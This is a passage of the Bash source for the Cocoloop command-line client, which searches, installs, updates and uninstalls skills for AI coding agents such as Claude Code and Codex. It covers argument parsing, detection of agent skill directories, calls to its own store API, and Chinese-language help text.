payload="$(cocoloop_api_featured_skill_categories 2>/dev/null || printf '{"data":[]}\n')" count="$(cocoloop::json_get '.data | length' "$payload" | head -n 1 || true)" cocoloop::print_kv "COMMAND" "featured" cocoloop::print_kv "VIEW" "categories" [[ -n "$count" ]] && cocoloop::print_kv "COUNT" "$count" printf 'FEATURED_CATEGORIES:\n' if cocoloop::show_featured_category_results "$payload"; then cocoloop::print_kv "STATUS" "success" else printf ' - none\n' cocoloop::print_kv "STATUS" "empty" fi return 0 fi payload="$(cocoloop_api_featured_skills "$category" 2>/dev/null || printf '{"data":[]}\n')" count="$(cocoloop::json_get '.data | length' "$payload" | head -n 1 || true)" cocoloop::print_kv "COMMAND" "featured" cocoloop::print_kv "VIEW" "skills" [[ -n "$category" ]] && cocoloop::print_kv "CATEGORY" "$category" [[ -n "$count" ]] && cocoloop::print_kv "COUNT" "$count" printf 'FEATURED_SKILLS:\n' if cocoloop::show_featured_skill_results "$payload"; then cocoloop::print_kv "STATUS" "success" else printf ' - none\n' cocoloop::print_kv "STATUS" "empty" fi } cocoloop::command::inspect() { local target="$1" local skill_id payload if skill_id="$(cocoloop::resolve_skill_id "$target" 2>/dev/null)"; then payload="$(cocoloop_api_inspect_skill_by_id "$skill_id")" else cocoloop::command::inspect_not_found "$target" return 1 fi cocoloop::show_inspect_summary "$payload" } cocoloop::command::update() { local target="$1" local normalized_target record path source source_type version scope installed_version latest_version payload official_id local latest_download search_payload matched_item update_source install_output refresh_record refreshed_path refreshed_version refreshed_scope normalized_target="$(cocoloop::normalize_name "$target")" record="$(cocoloop_session_find_install "$normalized_target" 2>/dev/null || true)" [[ -n "$record" ]] || cocoloop::die "not_installed" "未找到已安装记录: $target" IFS=$'\t' read -r _ path source source_type version scope _ official_id <<<"$record" installed_version="${version:-unknown}" update_source="$source" if [[ "$source_type" == "official" ]]; then if [[ -n "$official_id" ]]; then payload="$(cocoloop_api_inspect_skill_by_id "$official_id" 2>/dev/null || true)" latest_version="$(cocoloop::json_get_first_nonempty "$payload" '.data.version' '.data.latest_version' || true)" latest_download="$(cocoloop::json_get_first_nonempty "$payload" '.data.download_url' || true)" search_payload="$(cocoloop_api_search "$target" 2>/dev/null || true)" if [[ -n "$search_payload" ]] && cocoloop::has_jq; then matched_item="$(jq -c --arg id "$official_id" '.data.items[]? | select((.id | tostring) == $id)' <<<"$search_payload" | head -n 1 || true)" if [[ -n "$matched_item" && "$matched_item" != "null" ]]; then [[ -n "$latest_version" ]] || latest_version="$(cocoloop::json_get '.version // .latest_version // empty' "$matched_item" | head -n 1 || true)" [[ -n "$latest_download" ]] || latest_download="$(cocoloop::json_get '.download_url // empty' "$matched_item" | head -n 1 || true)" fi fi else payload="$(cocoloop_api_search "$target")" latest_version="$(cocoloop::json_get '.data.items[0].version // empty' "$payload" | head -n 1 || true)" latest_download="$(cocoloop::json_get '.data.items[0].download_url // empty' "$payload" | head -n 1 || true)" fi [[ -n "$latest_download" ]] && update_source="$latest_download" elif [[ -f "${path}/SKILL.md" ]]; then latest_version="$(cocoloop::read_skill_version "$path")" fi if [[ -n "$latest_version" && "$latest_version" == "$installed_version" ]]; then cocoloop::print_kv "COMMAND" "update" cocoloop::print_kv "STATUS" "up-to-date" cocoloop::print_kv "TARGET" "$target" cocoloop::print_kv "VERSION" "$installed_version" return 0 fi cocoloop::print_kv "COMMAND" "update" cocoloop::print_kv "STATUS" "updating" cocoloop::print_kv "TARGET" "$target" cocoloop::print_kv "CURRENT_VERSION" "$installed_version" [[ -n "$latest_version" ]] && cocoloop::print_kv "LATEST_VERSION" "$latest_version" [[ -n "$official_id" ]] && cocoloop::print_kv "OFFICIAL_ID" "$official_id" install_output="$(cocoloop::install::plan "$update_source" "$scope" "true")" printf '%s\n' "$install_output" if [[ "$source_type" == "official" && -n "$official_id" && "$install_output" == *"STATUS: installed"* ]]; then refresh_record="$(cocoloop_session_find_install "$normalized_target" 2>/dev/null || true)" if [[ -n "$refresh_record" ]]; then IFS=$'\t' read -r _ refreshed_path _ _ refreshed_version refreshed_scope _ _ <<<"$refresh_record" cocoloop_session_record_install \ "$normalized_target" \ "${refreshed_path:-$path}" \ "$update_source" \ "official" \ "${refreshed_version:-$latest_version}" \ "${refreshed_scope:-$scope}" \ "$official_id" fi fi } cocoloop::command::like() { local skill_name="$1" local payload payload="$(cocoloop_api_like "$skill_name" 2>/dev/null || true)" cocoloop_session_add_like "$skill_name" cocoloop::print_kv "COMMAND" "like" cocoloop::print_kv "SKILL" "$skill_name" cocoloop::print_kv "STATUS" "recorded" [[ -n "$payload" ]] && cocoloop::print_json_or_raw "$payload" } cocoloop::command::like_list() { local payload local_like normalized record path count payload="$(cocoloop_api_like_list 2>/dev/null || true)" if [[ -n "$payload" && "$payload" != "null" ]] && cocoloop::has_jq && [[ "$(jq -r '.code // 0' <<<"$payload" 2>/dev/null)" == "0" ]]; then cocoloop::print_kv "COMMAND" "like-list" cocoloop::print_kv "STATUS" "remote" cocoloop::print_json_or_raw "$payload" return 0 fi cocoloop::print_kv "COMMAND" "like-list" count=0 while IFS= read -r local_like; do [[ -n "$local_like" ]] || continue count=$((count + 1)) normalized="$(cocoloop::normalize_name "$local_like")" record="$(cocoloop_session_find_install "$normalized" 2>/dev/null || true)" path="" if [[ -n "$record" ]]; then IFS=$'\t' read -r _ path _ <<<"$record" fi printf -- '- %s | installed=%s | path=%s\n' \ "$local_like" \ "$( [[ -n "$path" ]] && printf yes || printf no )" \ "${path:--}" done < <(cocoloop_session_list_likes) if [[ "$count" -eq 0 ]]; then cocoloop::print_kv "STATUS" "empty" cocoloop::print_kv "LIKES_COUNT" "0" return 0 fi cocoloop::print_kv "STATUS" "local" cocoloop::print_kv "LIKES_COUNT" "$count" } cocoloop::command::candidate_json() { local payload="$1" cocoloop::print_json_or_raw "$(cocoloop_api_candidate "$payload")" } cocoloop::command::candidate_file() { local file_path="$1" cocoloop::require_file "$file_path" cocoloop::print_json_or_raw "$(cocoloop_api_candidate "$(cat "$file_path")")" } cocoloop::command::healthcheck() { local ping health ping="$(cocoloop_api_ping)" health="$(cocoloop_api_healthcheck)" cocoloop::print_kv "PING" "$(cocoloop::json_get_first_nonempty "$ping" '.message' '.data' || printf '%s' "$ping")" cocoloop::print_json_or_raw "$health" } cocoloop::command::paths() { local agent_name="$1" local os_platform="$2" local remote cocoloop::platform::describe_paths "$agent_name" "$os_platform" remote="$(cocoloop_api_agent_skill_paths "$agent_name" "$os_platform" 2>/dev/null || true)" if [[ -n "$remote" ]]; then printf 'REMOTE_PATHS:\n' if cocoloop::has_jq; then jq -r ' .data.items[]? | { path: (.path // "-"), status: (.status // "unknown") } | "\(.path)\t\(.status)" ' <<<"$remote" | awk -F '\t' '!seen[$0]++ { printf " - %s (%s)\n", $1, $2 }' else printf '%s\n' "$remote" fi fi } cocoloop::command::safescan() { local target="$1" if [[ -f "$target" ]]; then cocoloop_safescan_upload_file "$target" elif [[ -d "$target" ]]; then cocoloop_safescan_upload_directory "$target" else cocoloop_safescan_report "$target" fi } cocoloop::parse_query_command() { local command="$1" shift local query="" while [[ $# -gt 0 ]]; do case "$1" in --query) query="${2:-}" shift 2 ;; -h|--help) cocoloop::help::subcommand "$command" return 0 ;; *) cocoloop::die "invalid_argument" "$command 仅支持 --query QUERY。" ;; esac done [[ -n "$query" ]] || cocoloop::die "missing_argument" "$command 需要 --query QUERY。" case "$command" in search) cocoloop::command::search "$query" ;; *) cocoloop::die "unknown_command" "未实现的查询命令: $command" ;; esac } cocoloop::parse_featured() { local show_categories="false" local category="" local category_set="false" while [[ $# -gt 0 ]]; do case "$1" in --categories) show_categories="true" shift ;; --category) category_set="true" category="${2:-}" shift 2 ;; -h|--help) cocoloop::help::subcommand featured return 0 ;; *) cocoloop::die "invalid_argument" "featured 仅支持 --categories 或 --category CATEGORY。" ;; esac done if [[ "$show_categories" == "true" && -n "$category" ]]; then cocoloop::die "invalid_argument" "featured 不能同时使用 --categories 和 --category。" fi if [[ "$category_set" == "true" && -z "$category" ]]; then cocoloop::die "missing_argument" "featured 需要 --category CATEGORY。" fi cocoloop::command::featured "$show_categories" "$category" } cocoloop::parse_single_arg_command() { local command="$1" shift case "${1:-}" in -h|--help) cocoloop::help::subcommand "$command" return 0 ;; '') cocoloop::die "missing_argument" "$command 需要一个目标参数。" ;; esac [[ $# -eq 1 ]] || cocoloop::die "invalid_argument" "$command 只接受一个目标参数。" case "$command" in inspect) cocoloop::command::inspect "$1" ;; update) cocoloop::command::update "$1" ;; safescan) cocoloop::command::safescan "$1" ;; *) cocoloop::die "unknown_command" "未实现的目标命令: $command" ;; esac } cocoloop::parse_install() { local source_arg="" local scope="auto" local force="false" local selected_skills="" local install_all="false" while [[ $# -gt 0 ]]; do case "$1" in --scope) scope="${2:-}" shift 2 ;; --force) force="true" shift ;; --skills) selected_skills="${2:-}" shift 2 ;; --all) install_all="true" shift ;; -h|--help) cocoloop::help::subcommand install return 0 ;; --*) cocoloop::die "invalid_argument" "install 不支持参数: $1" ;; *) [[ -z "$source_arg" ]] || cocoloop::die "invalid_argument" "install 只接受一个来源参数。" source_arg="$1" shift ;; esac done [[ -n "$source_arg" ]] || cocoloop::die "missing_argument" "install 需要技能名、URL、仓库地址或本地路径。" if [[ "$install_all" == "true" && -n "$selected_skills" ]]; then cocoloop::die "invalid_argument" "install 不能同时使用 --all 和 --skills。" fi cocoloop::install::plan "$source_arg" "$scope" "$force" "$selected_skills" "$install_all" } cocoloop::parse_uninstall() { local skill_name="" local scope="all" while [[ $# -gt 0 ]]; do case "$1" in --scope) scope="${2:-}" shift 2 ;; -h|--help) cocoloop::help::subcommand uninstall return 0 ;; --*) cocoloop::die "invalid_argument" "uninstall 不支持参数: $1" ;; *) [[ -z "$skill_name" ]] || cocoloop::die "invalid_argument" "uninstall 只接受一个技能名。" skill_name="$1" shift ;; esac done [[ -n "$skill_name" ]] || cocoloop::die "missing_argument" "uninstall 需要一个技能名。" cocoloop::uninstall::plan "$skill_name" "$scope" } cocoloop::parse_like() { local skill_name="" while [[ $# -gt 0 ]]; do case "$1" in --skill) skill_name="${2:-}" shift 2 ;; -h|--help) cocoloop::help::subcommand like return 0 ;; *) cocoloop::die "invalid_argument" "like 仅支持 --skill SKILL。" ;; esac done [[ -n "$skill_name" ]] || cocoloop::die "missing_argument" "like 需要 --skill SKILL。" cocoloop::command::like "$skill_name" } cocoloop::parse_candidate() { local data_json="" local data_file="" while [[ $# -gt 0 ]]; do case "$1" in --data-json) data_json="${2:-}" shift 2 ;; --data-file) data_file="${2:-}" shift 2 ;; -h|--help) cocoloop::help::subcommand candidate return 0 ;; *) cocoloop::die "invalid_argument" "candidate 仅支持 --data-json 或 --data-file。" ;; esac done if [[ -n "$data_json" && -n "$data_file" ]]; then cocoloop::die "invalid_argument" "candidate 不能同时传 --data-json 和 --data-file。" fi if [[ -z "$data_json" && -z "$data_file" ]]; then cocoloop::die "missing_argument" "candidate 至少需要 --data-json 或 --data-file。" fi if [[ -n "$data_file" ]]; then cocoloop::command::candidate_file "$data_file" else cocoloop::command::candidate_json "$data_json" fi } cocoloop::parse_paths() { local agent_name="" local os_platform="" while [[ $# -gt 0 ]]; do case "$1" in --agent) agent_name="${2:-}" shift 2 ;; --os) os_platform="${2:-}" shift 2 ;; -h|--help) cocoloop::help::subcommand paths return 0 ;; *) cocoloop::die "invalid_argument" "paths 仅支持 --agent 和 --os。" ;; esac done [[ -n "$agent_name" ]] || agent_name="$(cocoloop::platform::detect_agent)" [[ -n "$os_platform" ]] || os_platform="$(cocoloop::platform::detect_os)" cocoloop::command::paths "$agent_name" "$os_platform" } cocoloop::main() { local command="${1:-help}" shift || true case "$command" in help|-h|--help) cocoloop::help::main ;; search) cocoloop::parse_query_command search "$@" ;; featured) cocoloop::parse_featured "$@" ;; inspect) cocoloop::parse_single_arg_command inspect "$@" ;; install) cocoloop::parse_install "$@" ;; uninstall) cocoloop::parse_uninstall "$@" ;; update) cocoloop::parse_single_arg_command update "$@" ;; like) cocoloop::parse_like "$@" ;; like-list) if [[ "${1:-}" =~ ^(-h|--help)$ ]]; then cocoloop::help::subcommand like-list else cocoloop::command::like_list fi ;; candidate) cocoloop::parse_candidate "$@" ;; healthcheck) if [[ "${1:-}" =~ ^(-h|--help)$ ]]; then cocoloop::help::subcommand healthcheck else cocoloop::command::healthcheck fi ;; paths) cocoloop::parse_paths "$@" ;; safescan) cocoloop::parse_single_arg_command safescan "$@" ;; *) cocoloop::die "unknown_command" "未知命令: ${command}。运行 'cocoloop --help' 查看可用命令。" ;; esac } if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then cocoloop::main "$@" fi FILE:scripts/lib/common.sh #!/usr/bin/env bash cocoloop::die() { local code="$1" local message="$2" printf 'ERROR [%s] %s\n' "$code" "$message" >&2 exit 1 } cocoloop::require_file() { local path="$1" [[ -f "$path" ]] || cocoloop::die "missing_file" "找不到文件: $path" } cocoloop::trim_line_endings() { printf '%s' "$1" | tr -d '\r' } cocoloop::normalize_name() { cocoloop::trim_line_endings "$1" | tr '[:upper:]' '[:lower:]' | tr ' ' '-' } cocoloop::skill_name_from_root() { local skill_root="$1" local skill_md="${skill_root}/SKILL.md" local name="" if [[ -f "$skill_md" ]]; then name="$(sed -nE 's/^name:[[:space:]]*"?([^"]+)"?/\1/p' "$skill_md" | head -n 1)" fi if [[ -z "$name" ]]; then name="$(basename "$skill_root")" fi cocoloop::normalize_name "$(cocoloop::trim_line_endings "$name")" } cocoloop::skill_query_variants() { local target="$1" local normalized target="$(cocoloop::trim_line_endings "$target")" normalized="$(cocoloop::normalize_name "$target")" { printf '%s\n' "$(printf '%s' "$target" | tr '[:upper:]' '[:lower:]')" printf '%s\n' "$normalized" if [[ -n "$normalized" && "$normalized" != *s ]]; then printf '%s\n' "${normalized}s" fi } | awk 'NF && !seen[$0]++' } cocoloop::payload_exact_skill_item() { local payload="$1" local target="$2" local candidate item cocoloop::has_jq || return 1 while IFS= read -r candidate; do [[ -n "$candidate" ]] || continue item="$(jq -c --arg q "$candidate" ' .data.items | map(select(((.name // .original_name // "") | ascii_downcase) == $q)) | .[0] // empty ' <<<"$payload" | head -n 1)" if [[ -n "$item" && "$item" != "null" ]]; then printf '%s\n' "$item" return 0 fi done < <(cocoloop::skill_query_variants "$target") return 1 } cocoloop::resolve_exact_skill_item() { local target="$1" local query payload item while IFS= read -r query; do [[ -n "$query" ]] || continue payload="$(cocoloop_api_search "$query")" item="$(cocoloop::payload_exact_skill_item "$payload" "$target" || true)" if [[ -n "$item" ]]; then printf '%s\n' "$item" return 0 fi done < <(cocoloop::skill_query_variants "$target") return 1 } cocoloop::ensure_dir() { mkdir -p "$1" } cocoloop::has_jq() { command -v jq >/dev/null 2>&1 } cocoloop::json_get() { local filter="$1" local payload="${2:-}" [[ -n "$payload" ]] || return 1 cocoloop::has_jq || return 1 jq -r "$filter" 2>/dev/null <<<"$payload" } cocoloop::json_get_first_nonempty() { local payload="${1:-}" shift || true [[ -n "$payload" ]] || return 1 cocoloop::has_jq || return 1 local filter for filter in "$@"; do local value value="$(jq -r "$filter // empty" 2>/dev/null <<<"$payload")" if [[ -n "$value" && "$value" != "null" ]]; then printf '%s\n' "$value" return 0 fi done return 1 } cocoloop::print_kv() { local key="$1" local value="${2:-}" printf '%s: %s\n' "$key" "$value" } FILE:scripts/lib/platform.sh #!/usr/bin/env bash cocoloop::platform::detect_os() { case "$(uname -s)" in Darwin) printf 'macos' ;; Linux) printf 'linux' ;; MINGW*|MSYS*|CYGWIN*) printf 'windows' ;; *) printf 'unknown' ;; esac } cocoloop::platform::detect_agent() { if [[ -d .opencode/skills || -f opencode.json || -f opencode.jsonc ]]; then printf 'opencode' return 0 fi if [[ -d .agents/skills || -f AGENTS.md || -f agents/openai.yaml ]]; then printf 'codex' return 0 fi if [[ -d .claude/skills || -f CLAUDE.md || -f .claude/settings.json ]]; then printf 'claude-code' return 0 fi if [[ -d skills || -f .openclaw/openclaw.json ]]; then printf 'openclaw' return 0 fi if [[ -d .molili/workspaces/default/active_skills ]]; then printf 'molili' return 0 fi if [[ -n "${OPENCODE_CONFIG_DIR:-}" || -n "${OPENCODE_CONFIG:-}" || -d "$HOME/.config/opencode/skills" ]]; then printf 'opencode' return 0 fi if [[ -d "$HOME/.agents/skills" || -d "$HOME/.codex/skills" || -f "$HOME/.codex/config.toml" ]]; then printf 'codex' return 0 fi if [[ -d "$HOME/.claude/skills" || -f "$HOME/.claude/settings.json" ]]; then printf 'claude-code' return 0 fi if [[ -d "$HOME/.openclaw/skills" || -f "$HOME/.openclaw/openclaw.json" ]]; then printf 'openclaw' return 0 fi if [[ -d "$HOME/.molili/workspaces/default/active_skills" || -d "$HOME/.molili/workspaces/default" ]]; then printf 'molili' return 0 fi printf 'unknown' } cocoloop::platform::supports_batch_install() { local agent_name="$1" case "$agent_name" in codex|claude-code|openclaw|molili|opencode) return 0 ;; *) return 1 ;; esac } cocoloop::platform::project_dir() { local agent_name="$1" case "$agent_name" in opencode) printf '.opencode/skills' ;; codex) printf '.agents/skills' ;; claude-code) printf '.claude/skills' ;; openclaw) if [[ -d .agents/skills ]]; then printf '.agents/skills' else printf 'skills' fi ;; molili) cocoloop::platform::user_dir "$agent_name" ;; *) cocoloop::die "unknown_agent" "未知 Agent 平台: $agent_name" ;; esac } cocoloop::platform::user_dir() { local agent_name="$1" case "$agent_name" in opencode) printf '%s/.config/opencode/skills' "$HOME" ;; codex) printf '%s/.agents/skills' "$HOME" ;; claude-code) printf '%s/.claude/skills' "$HOME" ;; openclaw) if [[ -d "$HOME/.openclaw/skills" || ! -d "$HOME/.agents/skills" ]]; then printf '%s/.openclaw/skills' "$HOME" else printf '%s/.agents/skills' "$HOME" fi ;; molili) printf '%s/.molili/workspaces/default/active_skills' "$HOME" ;; *) cocoloop::die "unknown_agent" "未知 Agent 平台: $agent_name" ;; esac } cocoloop::platform::resolve_target_root() { local scope="$1" local agent_name="$2" case "$scope" in auto|project) cocoloop::platform::project_dir "$agent_name" ;; user) cocoloop::platform::user_dir "$agent_name" ;; *) cocoloop::die "invalid_scope" "不支持的 scope: ${scope}。仅支持 auto、project、user。" ;; esac } cocoloop::platform::describe_paths() { local agent_name="$1" local os_platform="$2" cocoloop::print_kv "AGENT" "$agent_name" cocoloop::print_kv "OS" "$os_platform" cocoloop::print_kv "PROJECT_ROOT" "$(cocoloop::platform::project_dir "$agent_name")" cocoloop::print_kv "USER_ROOT" "$(cocoloop::platform::user_dir "$agent_name")" } cocoloop::platform::known_search_roots() { local agent_name root for agent_name in opencode codex claude-code openclaw molili; do root="$(cocoloop::platform::project_dir "$agent_name" 2>/dev/null || true)" if [[ -n "$root" && -d "$root" ]]; then printf '%s\tproject\t%s\n' "$agent_name" "$root" fi root="$(cocoloop::platform::user_dir "$agent_name" 2>/dev/null || true)" if [[ -n "$root" && -d "$root" ]]; then printf '%s\tuser\t%s\n' "$agent_name" "$root" fi done | awk -F '\t' '!seen[$1 FS $3]++' } cocoloop::platform::skill_matches_query() { local skill_name="$1" local query="$2" local variant skill_compact variant_compact skill_name="$(cocoloop::normalize_name "$skill_name")" skill_compact="$(printf '%s' "$skill_name" | tr -d '-')" while IFS= read -r variant; do [[ -n "$variant" ]] || continue variant="$(cocoloop::normalize_name "$variant")" variant_compact="$(printf '%s' "$variant" | tr -d '-')" if [[ "$skill_name" == "$variant" || "$skill_name" == *"$variant"* || "$skill_compact" == *"$variant_compact"* ]]; then return 0 fi done < <(cocoloop::skill_query_variants "$query") return 1 } cocoloop::platform::search_local_skills() { local query="$1" local agent_name scope root skill_root skill_name resolved_path while IFS=$'\t' read -r agent_name scope root; do [[ -n "$root" && -d "$root" ]] || continue while IFS= read -r skill_root; do [[ -n "$skill_root" && -f "$skill_root/SKILL.md" ]] || continue skill_name="$(cocoloop::skill_name_from_root "$skill_root")" cocoloop::platform::skill_matches_query "$skill_name" "$query" || continue resolved_path="$(cd "$skill_root" 2>/dev/null && pwd -P)" printf '%s\t%s\t%s\t%s\n' \ "$skill_name" \ "$agent_name" \ "$scope" \ "${resolved_path:-$skill_root}" done < <(find "$root" -mindepth 1 -maxdepth 1 -type d 2>/dev/null | sort) done < <(cocoloop::platform::known_search_roots) | awk -F '\t' '!seen[$0]++' } FILE:scripts/lib/api.sh #!/usr/bin/env bash # Remote API helpers for Cocoloop CLI. cocoloop_api_base_url() { printf '%s\n' "${COCOLOOP_API_BASE_URL:-https://api.cocoloop.cn/api/v1}" } cocoloop_api_timeout() { printf '%s\n' "${COCOLOOP_API_TIMEOUT:-20}" } cocoloop_api_has_jq() { command -v jq >/dev/null 2>&1 } cocoloop_api_urlencode() { local value="${1:-}" if cocoloop_api_has_jq; then jq -rn --arg v "$value" '$v|@uri' return 0 fi python3 - <<'PY' "$value" import sys from urllib.parse import quote print(quote(sys.argv[1], safe='')) PY } cocoloop_api__curl() { local method="$1" local url="$2" local data="${3:-}" local curl_args=() curl_args+=(--silent --show-error --location --max-time "$(cocoloop_api_timeout)") curl_args+=(-X "$method" "$url") curl_args+=(-H 'Accept: application/json') if [[ -n "$data" ]]; then curl_args+=(-H 'Content-Type: application/json' --data "$data") fi curl "${curl_args[@]}" } cocoloop_api_get() { cocoloop_api__curl GET "$1" } cocoloop_api_post() { cocoloop_api__curl POST "$1" "${2:-}" } cocoloop_api_ping() { cocoloop_api_get "$(cocoloop_api_base_url)/health/ping" } cocoloop_api_healthcheck() { cocoloop_api_get "$(cocoloop_api_base_url)/health/" } cocoloop_api_search() { local query="${1:-}" local encoded encoded="$(cocoloop_api_urlencode "$query")" cocoloop_api_get "$(cocoloop_api_base_url)/store/skills?page=1&page_size=10&keyword=${encoded}&sort=downloads" } cocoloop_api_featured_skills() { local category="${1:-}" local url url="$(cocoloop_api_base_url)/store/featured/skills" if [[ -n "$category" ]]; then url="${url}?category=$(cocoloop_api_urlencode "$category")" fi cocoloop_api_get "$url" } cocoloop_api_featured_skill_categories() { cocoloop_api_get "$(cocoloop_api_base_url)/store/featured/skills/categories" } cocoloop_api_inspect_skill_by_id() { local skill_id="${1:-}" cocoloop_api_get "$(cocoloop_api_base_url)/store/skills/${skill_id}" } cocoloop_api_skill_files() { local skill_id="${1:-}" local version="${2:-latest}" local encoded encoded="$(cocoloop_api_urlencode "$version")" cocoloop_api_get "$(cocoloop_api_base_url)/store/skills/${skill_id}/files?version=${encoded}" } cocoloop_api_like() { local skill_name="${1:-}" local encoded encoded="$(cocoloop_api_urlencode "$skill_name")" cocoloop_api_post "$(cocoloop_api_base_url)/store/like?skill=${encoded}" '{}' } cocoloop_api_like_list() { cocoloop_api_get "$(cocoloop_api_base_url)/like-list" } cocoloop_api_candidate() { local raw_json="${1:-}" cocoloop_api_post "$(cocoloop_api_base_url)/store/candidate" "$raw_json" } cocoloop_api_behavior_report() { local object_id="${1:-}" local action="${2:-view}" local object_type="${3:-skill}" cocoloop_api_post \ "$(cocoloop_api_base_url)/store/skills/action" \ "{\"id\":${object_id},\"object_type\":\"${object_type}\",\"action\":\"${action}\"}" } cocoloop_api_agent_skill_paths() { local agent_name="${1:-codex}" local os_platform="${2:-macos}" local encoded_agent encoded_os encoded_agent="$(cocoloop_api_urlencode "$agent_name")" encoded_os="$(cocoloop_api_urlencode "$os_platform")" cocoloop_api_get "$(cocoloop_api_base_url)/safescan/agent-skill-paths?agent_name=${encoded_agent}&os_platform=${encoded_os}" } FILE:scripts/lib/uninstall.sh #!/usr/bin/env bash cocoloop::uninstall::candidate_paths() { local skill_name="$1" local normalized normalized="$(cocoloop::normalize_name "$skill_name")" printf '.opencode/skills/%s\n' "$normalized" printf '%s/.config/opencode/skills/%s\n' "$HOME" "$normalized" printf '.agents/skills/%s\n' "$normalized" printf '%s/.agents/skills/%s\n' "$HOME" "$normalized" printf '%s/.codex/skills/%s\n' "$HOME" "$normalized" printf '.claude/skills/%s\n' "$normalized" printf '%s/.claude/skills/%s\n' "$HOME" "$normalized" printf 'skills/%s\n' "$normalized" printf '%s/.openclaw/skills/%s\n' "$HOME" "$normalized" printf '%s/.molili/workspaces/default/active_skills/%s\n' "$HOME" "$normalized" } cocoloop::uninstall::filtered_paths() { local skill_name="$1" local scope="$2" case "$scope" in all) cocoloop::uninstall::candidate_paths "$skill_name" ;; project) cocoloop::uninstall::candidate_paths "$skill_name" | grep -E '^\.(opencode|agents|claude)/skills/|^skills/' ;; user) cocoloop::uninstall::candidate_paths "$skill_name" | grep -E "^${HOME//\//\\/}/" ;; *) cocoloop::die "invalid_scope" "uninstall 仅支持 --scope all|project|user。" ;; esac } cocoloop::uninstall::plan() { local skill_name="$1" local scope="$2" local removed=0 local store_removed="no" local path local normalized store_path normalized="$(cocoloop::normalize_name "$skill_name")" while IFS= read -r path; do [[ -n "$path" ]] || continue if [[ -d "$path" || -L "$path" ]]; then rm -rf "$path" removed=$((removed + 1)) printf 'REMOVED: %s\n' "$path" fi done < <(cocoloop::uninstall::filtered_paths "$skill_name" "$scope") store_path="$(cocoloop_skills_store_dir)/$normalized" if [[ -d "$store_path" || -L "$store_path" ]]; then rm -rf "$store_path" store_removed="yes" printf 'REMOVED_STORE: %s\n' "$store_path" fi if [[ "$removed" -gt 0 || "$store_removed" == "yes" ]]; then cocoloop_session_remove_install "$normalized" fi cocoloop::print_kv "COMMAND" "uninstall" cocoloop::print_kv "SKILL" "$skill_name" cocoloop::print_kv "SCOPE" "$scope" cocoloop::print_kv "REMOVED_COUNT" "$removed" cocoloop::print_kv "STORE_REMOVED" "$store_removed" if [[ "$removed" -eq 0 && "$store_removed" != "yes" ]]; then printf 'CANDIDATE_PATHS:\n' cocoloop::uninstall::filtered_paths "$skill_name" "$scope" | sed 's/^/ - /' else cocoloop::print_kv "STATUS" "removed" fi } FILE:scripts/lib/help.sh #!/usr/bin/env bash cocoloop::help::main() { cat <<'HELP' Cocoloop CLI 用法: cocoloop [options] 主命令: search 搜索技能 featured 查看主站精选推荐 inspect 查看技能详情 install 安装技能 uninstall 卸载技能 update 更新指定技能 like 收藏技能 like-list 查看收藏列表 candidate 提交候选技能高级命令: healthcheck 执行健康检查 paths 查看候选安装路径 safescan 执行安全扫描帮助: cocoloop --help HELP } cocoloop::help::subcommand() { local command="$1" case "$command" in search) cat <<'HELP' 用法: cocoloop search --query QUERY 说明: search 会同时执行官方搜索和本地已知 Agent 目录搜索，再汇总输出。当前版本默认把候选结果视为待 Agent 判断或待用户确认，不直接把列表当成可信命中。如果本地已知 Agent 里已经存在同名或相近 Skill，会提示用户是否移植到当前环境。 HELP ;; featured) cat <<'HELP' 用法: cocoloop featured [--categories | --category CATEGORY] 说明: featured 默认读取主站当前精选技能列表。传入 --categories 时，读取主站当前精选技能分类列表。传入 --category CATEGORY 时，只读取该分类下的精选技能列表。这个命令只负责官方接口取数和展示，不替 Agent 做安装或选择判断。 HELP ;; inspect) cat <<'HELP' 用法: cocoloop inspect SKILL 说明: 查看技能的元数据、版本、安全评级、来源和下载入口。 HELP ;; install) cat <<'HELP' 用法: cocoloop install SKILL_OR_SOURCE [--scope auto|project|user] [--force] [--skills skill-a,skill-b | --all] 说明: install 是“已知安装流程 wrapper”，不承担综合决策。仅在已知支持的环境中执行 batch 安装（本地路径、已知归档 URL、GitHub 仓库）。当前版本默认先把 Skill 内容写入 ~/.cocoloop/skills/，再通过软链接发布到目标平台目录；如果当前平台不适合软链接，会退回复制。如果来源里存在多个 Skill，默认返回 review-required 并列出候选；只有用户或 Agent 明确指定 --skills 或 --all 后才继续安装。如果环境不明确、来源不属于已知安装流、安装失败或自检失败，会输出 handoff-to-agent，交给 Agent 自行探索安装。 HELP ;; uninstall) cat <<'HELP' 用法: cocoloop uninstall SKILL [--scope all|project|user] 说明: 定位并卸载指定 Skill。 HELP ;; update) cat <<'HELP' 用法: cocoloop update SKILL 说明: 检查指定 Skill 的版本并执行更新。 HELP ;; like) cat <<'HELP' 用法: cocoloop like --skill SKILL 说明: 收藏某个 Skill。当前版本调用联调接口。 HELP ;; like-list) cat <<'HELP' 用法: cocoloop like-list 说明: 查看收藏列表，并合并本地安装状态。 HELP ;; candidate) cat <<'HELP' 用法: cocoloop candidate (--data-json JSON | --data-file FILE) 说明: 提交未收录 Skill 的候选信息。 HELP ;; healthcheck) cat <<'HELP' 用法: cocoloop healthcheck 说明: 检查网络、服务可用性和依赖连通性。当前版本已接入 ping 和 health 接口。 HELP ;; paths) cat <<'HELP' 用法: cocoloop paths [--agent AGENT] [--os OS] 说明: 输出当前平台下的候选安装路径。 HELP ;; safescan) cat <<'HELP' 用法: cocoloop safescan TARGET 说明: 对目标 Skill、路径或来源执行安全扫描。当前版本支持本地文件、目录和 hash 查询。 HELP ;; *) cocoloop::die "unknown_help" "未知帮助主题: $command" ;; esac } FILE:scripts/lib/install.sh #!/usr/bin/env bash cocoloop::install::temp_dir() { mktemp -d "${TMPDIR:-/tmp}/cocoloop-install.XXXXXX" } cocoloop::install::cleanup_work_dir() { local work_dir="${1:-}" [[ -n "$work_dir" ]] || return 0 [[ -d "$work_dir" ]] || return 0 [[ "${COCOLOOP_KEEP_TMP:-0}" == "1" ]] && return 0 rm -rf "$work_dir" } cocoloop::install::last_error_file() { printf '%s/install-last-error.log\n' "$(cocoloop_logs_dir)" } cocoloop::install::infer_type() { local input="$1" if [[ -d "$input" || -f "$input" ]]; then printf 'local' elif [[ "$input" =~ ^https?:// ]]; then printf 'url' elif [[ "$input" =~ ^[^/]+/[^/]+$ || "$input" =~ ^https://github.com/ ]]; then printf 'github' else printf 'skill-name' fi } cocoloop::install::version_from_root() { local skill_root="$1" cocoloop::trim_line_endings "$(sed -nE 's/^version:[[:space:]]*"?([^"]+)"?/\1/p' "${skill_root}/SKILL.md" | head -n 1)" } 